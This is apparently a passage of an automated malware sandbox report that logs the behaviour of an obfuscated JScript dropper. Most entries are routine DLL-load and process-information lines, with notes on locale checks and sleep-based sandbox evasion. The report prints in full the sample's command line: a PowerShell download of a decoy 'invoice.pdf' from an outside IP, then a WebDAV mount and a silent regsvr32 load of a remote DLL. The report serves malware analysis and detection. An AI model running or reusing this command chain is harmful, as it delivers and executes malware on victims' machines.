Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4254.js.csv");ITextStream.WriteLine(" entry:7821 f:wfbfbxqg");ITextStream.WriteLine(" exec:2 f:wfbfbxqg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4267			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5275			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 4267 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep count: 5275 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8088	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1748	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1753093135.000002A63824D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1753093135.000002A6381E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2986865185.000001DA53A27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2988328849.000001DA59054000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
